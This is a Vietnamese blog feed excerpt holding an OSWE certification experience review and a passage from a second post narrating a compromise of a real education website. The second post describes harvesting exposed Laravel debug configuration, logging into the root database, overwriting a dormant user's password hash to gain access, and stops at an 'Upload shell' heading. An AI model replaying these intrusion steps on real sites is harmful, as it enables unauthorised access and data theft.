<p>Yêu cầu đề học được khóa học này là bạn cần có sẵn một số kiến thức nhỏ nhẹ như này trước thôi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158737017/46524fc8-077d-4160-a736-56227fa8342f.png" alt class="image--center mx-auto" /></p>
<p>⇒ Về cơ bản nó là thế, các bạn có thể tham khảo khái niệm tại: <a target="_blank" href="https://www.offensive-security.com/awae-oswe/">https://www.offensive-security.com/awae-oswe/</a></p>
<p>Khi đăng ký khóa học bạn sẽ được cấp một file pdf tài liệu có hơn 410 trang bao gồm lý thuyết vào hướng dẫn thực hành cho 09 modules về white box và +1 module từ bản cập nhật mới nhất vào tháng 7/2020, đi kèm với đó là các video hướng dẫn bằng tiếng anh cho từng module (Đâu đấy 10 tiếng video thì phải, Tôi lấy thông tin trên trang của <code>Offensive Security</code> , Tôi chưa kiểm tra thực tế, vì lúc tải video về đến lúc thi, Tôi xem đúng mỗi video của phần dotnetnuke).</p>
<p>Các phần lý thuyết, thực hành được hướng dẫn cực kỳ chi tiết cũng như các khái niệm có refer đến tài liệu gốc, giúp bạn dễ dàng hơn trong quá trình tìm hiểu khóa học. Các bạn không chỉ được học cách khai thác đơn thuần mà còn được học cách làm sao để bypass waf khi exploit nữa (trong bài thi có bypass waf nhé).</p>
<p>Thử tham khảo <a target="_blank" href="https://www.offensive-security.com/documentation/awae-syllabus.pdf">Syllabus</a> để biết hơn chi tiết về giáo trình.</p>
<h2 id="heading-labs-cua-awae-co-gi">Labs của AWAE có gì?</h2>
<p>Khi đăng ký khóa học ngoài việc được cấp tài liệu và video ra các bạn còn được cấp VPN để connect đến hệ thống labs của khóa học. Có 10 máy dành cho 10 modules của khóa học, và 3 máy <code>Exercises and Extra Miles</code></p>
<p>Trong đấy:</p>
<ul>
<li><p>10 máy dành cho modules sẽ có hướng dẫn chi tiết từng bước cho các bạn nắm bắt cách khai thác.</p>
</li>
<li><p>Trong 10 modules, sau mỗi module sẽ có thêm 1 mục gọi là <code>Extra miles</code> để các bạn khai thác tiếp chính module đó, phần này các bạn phải tự làm và không có một hướng dẫn nào hết.</p>
</li>
<li><p>Ngoài ra còn 3 máy <code>extra miles</code> thêm, 3 máy này hoàn toàn không có hướng dẫn, và các bạn phải tự <code>try harder</code>.</p>
</li>
</ul>
<p>Thực sự labs của AWAE đang còn quá nghèo nàn, chưa được phong phú, nhưng cũng đủ cho các bạn đau đầu trong quá trình học đấy.</p>
<h2 id="heading-tom-lai">Tóm lại</h2>
<p>Cái hay của OSWE theo Tôi đánh giá: là sẽ hướng dẫn cho bạn cách để tìm ra được các lỗ hổng về logic trong source code của một ứng dụng web, rất hợp cho nhưng bạn theo hướng tìm kiếm 0days. Các bạn sẽ cảm nhận cái sung sướng khi mà tự Tôi tìm ra được một lỗ hổng, tự viết POC để khai thác dựa trên sự kết hợp nhiều lỗ hổng lại với nhau để tạo ra một exploit hoàn thiện, ta nói nó sướng dã man luôn. Khi làm được như thế, bạn sẽ có cảm giác gì đó sung sướng, lâng lâng, như một vị thần. Vì vậy, nên một số bạn không có ý định thi cert nhưng vẫn có thể tham khảo mua để học vì có thể có những skills mà các bạn đang bị thọt.</p>
<p>Tuy nhiên, một tin buồn dành cho các bạn sắp đăng ký học và thi OSWE là: Từ ngày 01/01/2021, <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a> đã bỏ đi gói có thời gian dùng labs 30 ngày và chỉ còn 2 gói là 60 ngày, 90 ngày. Nhưng cũng vì thế mà những bạn cũng nghèo nghèo như Tôi cảm thấy thật là đau thận khi quyết định vung tiền mua khóa học. Cụ tỉ như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158748885/d3c8ea60-a0cb-40df-ac61-b0f1f60201cd.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-3-suc-manh">3. Sức mạnh</h1>
<h2 id="heading-skills-sau-khi-hoc-co-duoc">Skills sau khi học có được</h2>
<p>Có rất nhiều kỹ năng về tấn công web mà bạn có thể học được trong khóa học này như:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158750099/2552ab6d-ab5e-4fed-aa40-c85d7e332854.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-qua-trinh-hoc">Quá trình học</h2>
<p>Tôi đã dành dụm, chắt chiu tiền để mua khóa học, và thật may mắn khi mà tháng 12/2020 <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a> có đợt sale blackfriday cho khóa học 30 ngày labs còn $999. Tôi đã nhanh trí mua vào ngày 25/12, tuy nhiên thời gian gần nhất để có thể nhận khóa học là sang cuối đến tháng 3, nhưng tôi quyết định thanh toán với lịch là tháng 3. Sau khi thanh toán thành công, có mail xác nhận, tôi dùng chiêu sách đi năn nỉ <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a> cho tôi được học sớm hơn. Sau khoảng 5 mail qua lại xin xỏ, trình bày lý do thì <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a> cũng sắp xếp cho tôi nhận khóa học vào ngày 27/01/2021, như vậy là sớm hơn 2 tháng. Tôi muốn được học để thi trước khi nghỉ tết.</p>
<p>Tại đây, ngay trong bài viết này Tôi trân trọng cảm ơn <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a> đã tạo điều kiện cho Tôi.</p>
<p>Đây là quả lịch tôi note linh ta linh tinh này =))</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158763774/776dedaf-305d-4b86-89af-eecfa3316be8.jpeg" alt class="image--center mx-auto" /></p>
<p>Tôi đã nhận được khóa học vào ngày 27/12/2020 , sau khi nhận khóa học tôi dành ra 1 tuần để đọc tài liệu. Tuy là sau mỗi module sẽ có bài extra miles nhưng tuần đầu tiên tôi không bắt tay làm nó vội, mà chỉ đọc tài liệu để cảm nhận overview thôi. Sau khi cảm nhận được overview, tôi quyết định vào chọn luôn ngày thì là 30/01/2021, vì thấy nó đúng sở trường của Tôi rồi. Thực sự nói là đúng sở trường thế thôi, nhưng đọc đến module dotnetnuke Tôi cũng sợ lắm, vì trước giờ tôi không thích hàng microsoft cho lắm, nên là không tìm hiểu về nó. Tuy nhiên Tôi đã tìm đến 2 video: học c# trong 1 giờ, học .net trong 1 giờ. Học xong vẫn sợ, nhưng Tôi tự tin từ đó đến ngày đăng ký thi tôi sẽ thành thạo khai thác lỗi dotnet.</p>
<p>Sau khi đăng ký ngày thi xong, tôi quyết định <code>try harder</code> với 3 máy Extra miles. Hôm đấy là 03/01/2021 - một ngày chủ nhật, Tôi chọn bài đầu tiên là một bài về nodejs, tối hôm đó tôi đã hình dung ra vector bypass authentication rồi, tuy nhiên mãi sáng sớm ngày hôm sau tôi mới thực sự bypass authentication của máy đầu tiên, tôi cảm giác nó cũng dễ dàng. Trên đà chiến thắng, tôi quật luôn RCE được luôn con máy đó, tuy nhiên không dễ tý nào, vì lâu lắm rồi không code nodejs nên tôi phải ngồi đọc lại một số thứ về nó. Nhưng cũng nhanh thôi sáng 05/01/2021 - tức là 3 ngày làm máy đầu tiên thì tôi đã có được RCE. Tôi tự thấy Tôi như thần thánh, nhưng thật sự chỉ là cảm giác sung sướng lúc đó khiến tôi ảo tưởng vậy thôi.</p>
<p>Ngày tiếp theo 06/01/2021 tôi tiến hành làm máy thứ 2, bây giờ là một máy java. Tôi nghĩ thầm, java thì chắc ok rồi, vì tôi từng biết lập trình java nên tôi đặt kỳ vọng là bypass authentication được trong ngày. Nhưng nô nồ nồ nồ, đời không như mỡ, tôi vật vã mãi sang ngày hôm sau mới có thể bypass được, vẫn là mất một ngày nữa. Bypass authen xong thì bước tiếp theo vẫn là đi tìm RCE, đến đây quả là một quá trình gian nan, nó làm Tôi nản chí khi mà mất đến tận 3 ngày, tức là từ ngày 07/01/2021 tới ngày 10/01/2021 mà tôi vẫn chưa thể khai thác được RCE cho máy java. Tôi nản toàn tập, nhưng không thể như thế mà bỏ cuộc được. Nên tôi quyết định tạm gác máy java lại và làm sang máy khác.</p>
<p>Ngày 11/01/2021 tôi làm máy tiếp theo, máy này là một máy blackbox. Tôi phải tìm cách để bypass authen bằng phương pháp blackbox trong khi đang luồng suy nghĩ của whitebox =)) , thật là vật vã quá đi. Thế thì mới gọi là cuộc sống, tôi lại thất bại lần đầu cho máy này sau 3 ngày chọc ngoáy, sau này tôi mới biết là do tôi thọt kiến thức, nên mới miss case, nhưng sẽ là hồi sau. Còn bây giờ, tôi quyết định quay trở lại máy java một lần nữa.</p>
<p>Ngày 14/01/2021, tôi quay lại máy java và thật là vui khi mà cuối ngày hôm đó tôi đã RCE được máy java.</p>
<p>Ngày 15/01/2021, tôi đã liên tục và bypass và RCE được máy blackbox. Đó là một máy python.</p>
<p>Sau khi quẩy được máy blackbox, chính là lúc tôi đã pass được 3 máy extra miles, mà tất cả là nhờ việc try hard, không có hướng dẫn hay bất cứ hint nào. Thực mà nói, lúc nản với máy blackbox tôi đã đi hỏi hint ở trên diễn đàn, tôi đang bài đàng hoàng, nhưng không ai trả lời =))</p>
<p>Tôi quyết định vào đổi ngày thi, tôi đổi từ ngày 30/01/2021 xuống còn 27/01/2021 tức là sớm hơn 3 ngày, càng tự tin thì tôi lại càng muốn thi sớm, vì tính máu chiến bắt đầu tăng lên.</p>
<p>Tôi tính, từ ngày 16/01/2021 sẽ làm tất cả các bài extra miles sau mỗi module và đọc thật kỹ về deserialize .net, nhưng thật hay khi mà sang tối ngày 19/01/2021 tôi đã hoàn thành hết các phần extra miles, cũng như đã lĩnh hội được dotnet 😅. Các bạn biết gì tiếp theo rồi chứ gì?</p>
<p>Đúng, lại một lần nữa tôi vào thay đổi lịch thi, bây giờ là sang ngày 23/01/2021, vì bài thi có thời gian 48h và 1 ngày viết report, nên tôi tối ưu chọn ngày cuối tuần để thi vì ngày bình thường còn đi làm ở công ty.</p>
<p>Đăng ký lại lịch thi xong, mấy ngày còn lại là tôi đọc lại tài liệu 1 lần nữa, ghi chép tất cả những câu lệnh, cách cấu hình, cách debug, cách bypass waf, ... ra notes. Và yên tâm ngồi rung đùi chờ ngày thi.</p>
<h2 id="heading-qua-trinh-thi">Quá trình thi</h2>
<p>Bài thi có tận 6 yêu cầu cho mỗi 1 bài lận, nhưng Tôi ko thể show ra đây mà chỉ nói sương sương như: Phải có screenshots tất cả các bước bạn tìm ra được lỗ hổng, screentshot nội dung file local.txt và proof.txt, viết 1 poc script duy nhất để khai thác từ đầu đến cuối cho mỗi một bài, .... Các bạn cứ làm đủ yêu cầu của nó là được.</p>
<p>Như các bạn đã đọc bên trên Tôi bắt đầu bài thi vào 9h sáng ngày 23/01/2021 (dương lịch, ngày thứ 7). Bình thường tôi dậy rất muộn vì cuối tuần, nhưng sáng hôm đấy dậy rõ sớm, đánh răng rửa mặt đi húp bát cháo hành ở chợ. Chuẩn bị tâm lý sẵn sàng lên thớt.</p>
<p>Đúng 8h45h, tôi phải có mặt để làm thủ tục checkin để chuẩn bị cho bài thi, các bạn nhớ chuẩn bị chứng minh thư sẵn sàng, và dọn dẹp bàn ngồi thi cũng như xung quanh thật gọn gàng, tốt nhất là cất hết các đồ dùng như: Điện thoại, máy tính bảng, ... nói chung là các thiết bị mà bạn có thể liên lạc ra bên ngoài phải cất đi, không được dùng đến. Máy tính dùng để làm tốt nhất không mở các phần mềm chat, teamviewer, ...</p>
<p>Sau khi checkin các thứ xong, giám thi xác nhận tôi đủ điều kiện có thể tham gia thi, thì tôi được gửi cho một mail nữa chứa các thứ như: vpn để connect đến bài thi, hướng dẫn, tài khoản đăng nhập, ... Tôi tải về, đăng nhập và xác nhận với giám thi là VPN có thể connected. Từ đó tôi bắt đầu thi.</p>
<p>Họ cũng cấp cho Tôi tất cả là 5 máy: 2 máy debug, 2 máy target, 1 máy kali có thể dùng như là 1 máy attacker thay vì dùng chính máy tính cá nhân.</p>
<p>Vào thi máy đầu tiên, tôi gặp rắc rối khi cố tình debug lên máy target, vì trong quá trình học họ cấp cho máy target và máy debug là 1 máy, nhưng lúc thi là 2 máy riêng biệt, nên đoạn đầu không định hình được, tôi còn mail cho bên support là <code>Tôi không thể debug được bài thi</code>. 😑 Bây giờ nghĩ lại mà nó ngu vcd. Tôi mất khoảng 2 tiếng đầu cho việc ngồi cố tìm cách debug con target. Sự ngu dốt phải trả giá bằng tiền bạc là đây.</p>
<p>Đến tầm 11h trưa hôm đó, tôi mới lĩnh ngộ là Tôi chỉ debug trên máy debug thôi, hahaha và lúc đấy tôi mới thực sự vào thi. Thật bế tắc khi mà đến gần 13h chiều, tức là gần 4 tiếng trôi qua, tôi chưa thể tìm ra một vector nào để có thể bypass authen được bài đầu tiên. Tôi quyết định xin break, đi ra chợ làm bát cháo và mua một số đồ ăn vặt về để vừa làm vừa ăn.</p>
<p>Thật may khi hầu như tôi rất nhanh quên mọi thứ nhưng đối với code thì lại nhớ rất dai một source code tôi đã đọc rồi thì tôi hình dung được nó trong đầu luôn, và lúc ăn cháo đầu tôi luôn suy nghĩ đến vector nào có thể khai thác được và vạch ra vài ý trong đầu để lúc nữa quay về thử. Đúng như vậy, 14h chiều tôi có mặt lại phòng và ngồi vào báo với giám thị là Tôi comeback và tiếp tục bài thi. Thật may đúng như những thứ Tôi nghĩ, đến tầm 26h30p chiều ngày hôm đó, vạch ra cách đi cho việc vector bypass authen đầu tiên, nhưng mãi tận 20h44p tối tôi mới hoàn thành được POC đầu tiên và bypass authen thành công, submit flag và xin break gọi nửa con gà Mạnh Hoạch về ăn tạm.</p>
<p>Ăn xong cũng đã 22h tối, Tôi quay lại làm tiếp bài 1 cho phần RCE, thừa thắng xông lên, tôi chỉ mất 1 tiếng để có được RCE lúc đó là 23h đêm. Submit flag viết poc để có thể khai thác từ đầu đến cuối cho bài 1. Viết xong POC đã là 23h30, Tôi nghĩ nên hoàn thành bài thi của Tôi càng sớm càng tốt, để còn dành thời gian xem lại một lượt chụp đầy đủ ảnh còn viết bài cáo, nên tuy khuya rồi nhưng vẫn mở bài 2 lên tiếp tục try hard.</p>
<p>Bài thứ 2 quá là thuận lợi khi mà tầm 3h sáng ngày 24/01/2021 tôi đã có thể bypass authen, tức là mất khoảng 3 tiếng để làm nó.</p>
<p>Sau đó gần 2 tiếng, tức là gần 5h sáng ngày 24/01/2021 tôi đã RCE được máy thứ 2, lúc đấy đã quá mệt, nên tôi submit flag và đi ngủ.</p>
<p>Đi ngủ đâu đấy gần 10h sáng dậy, đánh răng rửa mặt, ăn uống, thong thả và quay lại bài thi để viết poc một cách chỉnh chu và kiểm tra lại screenshots xem còn thiếu bước nào không.</p>
<p>Bắt đầu viết báo cáo sơ lược để đảm bảo có thể nhớ được những gì Tôi đã làm sau khi hết thời gian thi, cũng như hỗ trợ cho phần báo cáo chi tiết gửi tới <code>Offensive Security</code>.</p>
<h2 id="heading-viet-bao-cao">Viết báo cáo</h2>
<p>Đến đây là ngày thứ 3, lúc mà kết nối VPN đến bài thi đã hết thời gian, bây giờ Tôi phải ngồi viết lại báo cáo một cách chi tiết về cách tìm ra lỗ hổng, cách khai thác, cũng như POC có thể chạy để khai thác từng bài. Nói chung là viết report cung cấp tất cả các thông tin trong các yêu cầu của đề thi mà OSWE cho.</p>
<p>Báo cáo phải viết càng chi tiết các bước càng tốt, làm sao để một người không biết gì về kỹ thuật cũng có thể làm lại theo báo cáo 1 cách step by step mà ra được kết quả đúng, thì lúc đó báo cáo của bạn mới được chấp nhận. Đã có trường hợp thi làm được 100% các máy nhưng cũng trượt vì báo cáo không OK rồi đấy, nên các bạn chú ý nha.</p>
<p>Viết xong thì gửi như hướng dẫn của <code>Offensive Security</code> là được. Bây giờ là ngồi hồi hộp chờ thông báo passed thôi.</p>
<h2 id="heading-tom-lai-1">Tóm lại</h2>
<p>Lúc học, các bạn phải notes những gì đã học, đến lúc vào thi mà phải đi search google thì oải lắm =))</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158767873/5c59e831-54df-4d6a-93a8-b5f50d9dea4c.png" alt class="image--center mx-auto" /></p>
<p>Các POC script bạn viết cho quá trình làm extra miles thì nên lưu lại một cách dễ nhớ nhất, có thể trong bài thi sẽ dùng tới, nó không phải là sử dụng 100% nhưng nó có thể giúp bạn có được ý tưởng viết POC cho bài thi một cách nhanh nhất.</p>
<p>Bài thi yêu cầu bạn phải kết hợp logic được tất cả các lỗ hổng lại với nhau và viết 1 poc khai thác tất cả các lỗi bằng từ đầu đến cuối trong 1 poc duy nhất bằng: python, c, ... hoặc bất kỳ ngôn ngữ script nào bạn thành thạo. Nên là bạn nên học thành thạo 1 ngôn ngữ script nào đó để viết POC cho nhanh nha.</p>
<p>Thời gian của bài thi là 48h nhưng Tôi nghĩ nếu các bạn giác ngộ được cách khai thác lỗi dạng whitebox rồi thì 48h thi là quá đủ.Tôi thì cũng chả giỏi dang gì lắm cũng có thể hoàn thành nó trong chưa đầy 26h và thời gian còn lại là dành thời gian cho việc kiểm tra lại POC cũng như screenshots.</p>
<p>Lúc thi phải giữ 1 cái đầu bình tĩnh, nếu ngày đầu tiên chưa làm ra được gì thì nhiều lúc cũng ko cần phải căng thẳng quá, cứ ăn, uống, ngủ, nghỉ thoải mái nhất có thể - cứ như một ngày bình thường thôi. Lúc nào cảm giác tâm trạng tốt thì quay lại thi tiếp. Đừng như Tôi thức đêm thức hôm, từ hôm thi xong đến giờ Tôi ho SML chỉ vì thức xuyên đêm =))</p>
<p>Viết báo cáo phải đủ, chi tiết các bước, để một người khác có thể thực hiện lại và ra kết quả đúng.</p>
<h1 id="heading-4-ket-luan">4. Kết luận</h1>
<p>Khóa học rất OK, nên các bạn có ý định học để thi lấy chứng chỉ, cũng như các bạn có hứng thú học để tiếp thu kiến thức mới thì cứ mạnh dạn đăng ký học.</p>
<p>OSWE khó? Tùy quan điểm mỗi người tuy nhiên đối với Tôi ban đầu chưa thi, chưa học thì cũng nghĩ nó khó vì Tôi đọc review thấy toàn bài có cert này cert nọ vẫn tạch, run lắm, sợ lắm, nhưng cũng thi được, thì theo Tôi thấy là bình thường.</p>
<p>Lúc học cố gắng try harder hết tất cả các bài extra miles của AWAE đưa ra, tốt nhất là không bỏ lỡ bài nào, vì có thể phần bạn bỏ lỡ chính là phần bạn sẽ gặp lúc thi. Nhớ lưu lại POC của extra miles đã làm nữa nhé.</p>
<p>Bài thi giống như một cuộc thi chạy marathon, không phải là một cuộc thi chạy nước rút nên các bạn cứ từ từ mà làm, vì trong 48h thi mà OSWE đưa ra, họ đã tính toán cho bạn cả giờ ăn, uống, ngủ nghỉ, sinh hoạt rồi.</p>
<p>Đã có trường hợp làm được bài thi nhưng trượt vì báo cáo, nên phần báo cáo cũng là một phần quan trọng.</p>
<p>Một số trang tài liệu Tôi hay đọc trong lúc học OSWE:</p>
<ul>
<li><p><a target="_blank" href="https://book.hacktricks.xyz/">https://book.hacktricks.xyz/</a></p>
</li>
<li><p><a target="_blank" href="https://klezvirus.github.io/Advanced-Web-Hacking/">https://klezvirus.github.io/Advanced-Web-Hacking/</a></p>
</li>
<li><p>... Tạm thời quên, nào nhớ ra Tôi sẽ update tiếp vào đây</p>
</li>
</ul>
<p>⇒ Thời điểm viết bài, Tôi cũng không thể nhớ hết một số thứ Tôi muốn truyền đạt được, nên là bài viết này Tôi sẽ luôn update nếu như nhớ ra vấn đề gì.</p>
<p>Cuối cùng, cảm ơn các bạn đã đọc bài của mình, nếu như các bạn có yêu cầu thì mình sẽ viết một phần về cách học như thế nào nữa, nhé nhé.</p>
]]></content:encoded></item><item><title><![CDATA[Chỉ một buổi chiều, Tôi đã chiếm quyền điều khiển server của 8 website như thế nào?]]></title><description><![CDATA[Xin chào, xin chào các bạn. Lâu lâu lâu lắm rồi mình mới có thời gian để viết bài, vì bận quá (thực ra là vì lười quá).
Chuyện là gần đây mình có hay lượn lờ đọc mấy bài về lập trình web (lại là câu chuyện về web đấy các bạn). Thì mình cũng chiếm đượ...]]></description><link>https://manhnv.com/chi-mot-buoi-chieu-toi-da-chiem-quyen-dieu-khien-server-cua-8-website-nhu-the-nao</link><guid isPermaLink="true">https://manhnv.com/chi-mot-buoi-chieu-toi-da-chiem-quyen-dieu-khien-server-cua-8-website-nhu-the-nao</guid><category><![CDATA[chiếm quyền điều khiển]]></category><category><![CDATA[hacking]]></category><category><![CDATA[RCE]]></category><dc:creator><![CDATA[Manhnv]]></dc:creator><pubDate>Fri, 15 Jan 2021 17:00:00 GMT</pubDate><content:encoded><![CDATA[<p>Xin chào, xin chào các bạn. Lâu lâu lâu lắm rồi mình mới có thời gian để viết bài, vì bận quá (thực ra là vì lười quá).</p>
<p>Chuyện là gần đây mình có hay lượn lờ đọc mấy bài về lập trình web (lại là câu chuyện về web đấy các bạn). Thì mình cũng chiếm được cái server nho nhỏ của 1 website (Tại sao tiêu đề là 8 mà đây mình lại ghi là 1, thì xem hồi sau sẽ rõ).</p>
<p><code>Mình đã xin phép bên kia rồi mới viết bài nhé</code> Nhưng để giữ bí mật cho họ thì mình sẽ che tên web cũng như các thông tin nhạy cảm nhé, từ giờ mình sẽ dùng domain web đó là <code>https://xxxx.com</code> nha.</p>
<h1 id="heading-dao-choi-vo-phai-bug"><strong>Dạo chơi vớ phải bug</strong></h1>
<p>Mình có lên 1 vài trang đọc về lập trình thì vô tình vớ được 1 trang web của 1 bên dạy lập trình, thì mình cũng dạo xem họ có khóa gì thú vị không.</p>
<p>Mình truy cập vào <code>https://xxxx.com</code>, dạo một vòng. Đang dạo thì mình dừng lại chuột phải inspect thử 1 cái ảnh xem đường dẫn ảnh như nào. Thực ra là bệnh nghề nghiệp.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159507754/fefd6836-1f39-40ff-95d1-417537ac1f8d.png" alt class="image--center mx-auto" /></p>
<p>Tôi thử truy cập vào <code>https://portal.xxxx.com</code> xem thử nó là cái gì nha, nhìn cũng có vẻ được đấy. Nhưng khi truy cập vào thì nó yêu đầu đăng nhập.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159526008/c6058851-e44e-437e-b2c7-c082b4b9148b.png" alt class="image--center mx-auto" /></p>
<p>Đến đây tôi tự hỏi: <code>Có cách nào đăng nhập được vào không ta, đăng nhập vào không biết có gì ha?</code> Những câu tự hỏi đó làm tôi càng tò mò hơn, quyết định tìm cách đăng nhập được vào trang này.</p>
<p>Mình thấy có đường dẫn ảnh lúc nãy là như này:</p>
<pre><code class="lang-plaintext">https://portal.xxxx.com/laravel-filemanager/photos/shares/Course/1_y6C4nSvy2Woe0m7bWEn4BA.png
</code></pre>
<p>Truy cập thử xem nào. À ha, trả về cái ảnh là đúng rồi nè.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159534766/b0ffd29c-1dcd-42dd-a404-09a2b76dd419.png" alt class="image--center mx-auto" /></p>
<p>Tuy nhiên tính tò mò nên tôi thử sửa đổi URL đi một tý, đó mà tôi lược bỏ tên file ảnh đi, nó chỉ còn vầy thôi <code>https://portal.xxxx.com/laravel-filemanager/photos/shares/Course/</code></p>
<p>Thì ôi thôi, một tuyệt tác như vầy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159544600/c0c9004c-3c5b-49b0-b191-fe19ad9e41c4.png" alt class="image--center mx-auto" /></p>
<p>Vậy là tôi đã có thông tin:</p>
<ul>
<li><p>Web dùng laravel</p>
</li>
<li><p>Không tắt đi debug</p>
</li>
<li><p>Vì không tắt DEBUG nên config gì của laravel là biết tuốt, biết tuốt</p>
</li>
</ul>
<p>Mà mới gần đây laravel còn có quả lỗi mới liên quan đến cái DEBUG khỉ gió này, là <code>Laravel &lt;= v8.4.2 debug mode Remote code execution</code> =&gt; Thực ra đến đây thì tôi đã có thể đi đến chiếm quyền server rồi, nhưng mà nó không thú vị lắm, bởi vì chẳng qua ăn may là web này bật DEBUG thôi, chứ những web khác không bật DEBUG thì chiếm kiểu gì? Nên là tôi tiếp tục tìm vector khác.</p>
<p>Thế thì như đã nói là website này bật DEBUG mode nên là show hết các thông tin cấu hình của web rồi: Thông tin truy cập database, các auth key của các dịch vụ nó dùng, ip thật, APP_KEY ... (Trong này có cái APP_KEY, tý tui sẽ biểu diễn đường quyền sau nha)</p>
<p>Database họ dùng tài khoản root luôn <code>Thế là dở rồi bạn ơi, môi trường production mà không tắt DEBUG, lại dùng tài khoản root cho database là dở rồi</code></p>
<p>⇒ Đến đây, database connect được rồi, user của database là root rồi, thì đoạn này lợi dụng mysql để RCE vẫn là ok rồi, có điều như đã nói: <code>Trong nhiều trường hợp, sẽ không có chuyện may mắn như thế này, nên tôi vẫn đi tìm vector tấn công khác ngon hơn mà không cần dựa vào may mắn.</code></p>
<h1 id="heading-kham-pha-thu-database"><strong>Khám phá thử database</strong></h1>
<p>Có Thông tin database thì tôi vào xem thế nào nha, thú vị nha.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159564326/3ff40427-3d3d-40f9-9cf7-ec20eebaa529.png" alt class="image--center mx-auto" /></p>
<p>Gòy xong luôn =))</p>
<p><code>Count nhẹ cái database của portal thì cũng có trên 1200 tài khoản học viên đấy, là đông đấy, không ít đâu</code></p>
<p>Trừ cái database <code>information_schema</code> và <code>mysql</code> của mysql ra thì trên này tôi đếm được 8 cái database của 8 cái website khác nhau các ông ạ, ác dữ vậy.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159562578/801d7e40-afb3-4b7d-be7b-1103a5ae57f8.png" alt class="image--center mx-auto" /></p>
<p>Rồi, giờ đến lúc biểu diễn đường quyền với <code>APP_KEY</code> có nhắc phía trên này. Vì tôi từng lập trình laravel, nên tôi biết nó dùng APP_KEY để làm KEY cho các hàm hash password của nó, vậy thì thử tạo cái hash password xem nào.</p>
<h1 id="heading-tao-password-bypass-authen-truy-cap-vao-xem-ung-dung-du-lao"><strong>Tạo password bypass authen truy cập vào xem ứng dụng dư lào.</strong></h1>
<p>Tạo một project laravel để test.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159574354/48c2c356-4ec4-4c31-9729-c25d54bd3a33.png" alt class="image--center mx-auto" /></p>
<p>Sau khi tạo xong project thì vứt cái APP_KEY vô file .env</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159582804/04b49c62-b222-4c6b-ad23-3ee063235597.png" alt class="image--center mx-auto" /></p>
<p>Rồi tạo hash password thôi nào</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159597230/4404493c-3083-4694-92d8-df49f19c71c8.png" alt class="image--center mx-auto" /></p>
<p>Chạy lên xem để lấy hash nha.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159604168/d0d3eed5-f735-4d94-ae83-d1447a155e96.png" alt class="image--center mx-auto" /></p>
<p>Đấy, các bạn thấy có OK không ạ? Hơi ngu hơi thủ công nhỉ :v nhưng làm cho vui nên làm thế thôi.</p>
<p>Bây giờ thì cầm cái hash đó thay vào một user bất kỳ trong database nha, nhưng mà để cho không bị lộ thì mình tìm cái user nào mà từ lâu rồi không login ý.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159615391/6c1ba295-20f1-4c26-b4ae-9bbd22d08b77.png" alt class="image--center mx-auto" /></p>
<p>Thứ 1: Đổi password hash trong database</p>
<p>Thứ 2: là chuyển cái trường check_lock_account về 0</p>
<p>Bây giờ có tài khoản rồi đó, tài khoản là email mà mình đổi hash password, còn mật khẩu là <code>123456</code>.</p>
<p>Thử đăng nhập vào portal nào, xem nào, xem nào. Hồi hộp quá.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159627614/fc1133cb-e2ca-4269-8460-bb0bec9345e8.png" alt class="image--center mx-auto" /></p>
<p>⇒ OK rồi nhá, đăng nhập được rồi nhá, easy chưa. Đây vẫn là cú bypass ngu người dựa vào may mắn bên trên (Tôi viết cho có nội dung thôi, chứ hồi sau mới thực sự hấp dẫn nha). Đó chỉ là tôi thử để xem database họ lưu trữ cái gì thôi. Thực ra tôi có cách bypass authen ngon hơn ở phía dưới. Tiếp tục đọc bài viết, hồi sau sẽ rõ.</p>
<h1 id="heading-co-duoc-account-dang-nhap-de-dang-hon"><strong>Có được account đăng nhập dễ dàng hơn.</strong></h1>
<p><code>Mình thật sự ngu ngốc, bypass thôi cũng làm ngu. hahaha</code></p>
<p>Thực ra thì trong cuộc sống ít khi mà hên gặp cái server nào nó để DEBUG thế lắm, nên việc chỉnh sửa trong database nó là case hiếm hoi. Nhưng mình có cách khác để có account dễ hơn.</p>
<p>Sau một hồi dạo quanh quẩn ở <a target="_blank" href="https://xxxx.com/">https://xxxx.com</a> thì mình phát hiện web này có chức năng đăng ký khóa học, mà khi đăng ký xong nếu tài khoản chưa tồn tại trên hệ thống thì nó tự tạo tài khoản cho mình và mật khẩu được gửi vào mail, thế thì mình đăng ký thử nha.</p>
<p>Đăng ký khóa học để xem nha.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159637358/438fb538-3885-483b-a66f-995f354619f3.png" alt class="image--center mx-auto" /></p>
<p>Đăng ký thành công này, và chờ mail gửi về này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159643569/27590ae6-702e-44c4-9003-5991284b47d8.png" alt class="image--center mx-auto" /></p>
<p>Mail gửi về cho mình tài password đăng nhập nè. OK, vậy là đã có tài khoản đăng nhập này,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159652051/206d0d5e-818a-47cc-b737-753b220de4d8.png" alt class="image--center mx-auto" /></p>
<p>Đó, đó, Easy chưaaaaaa?</p>
<h1 id="heading-upload-shell"><strong>Upload shell</strong></h1>
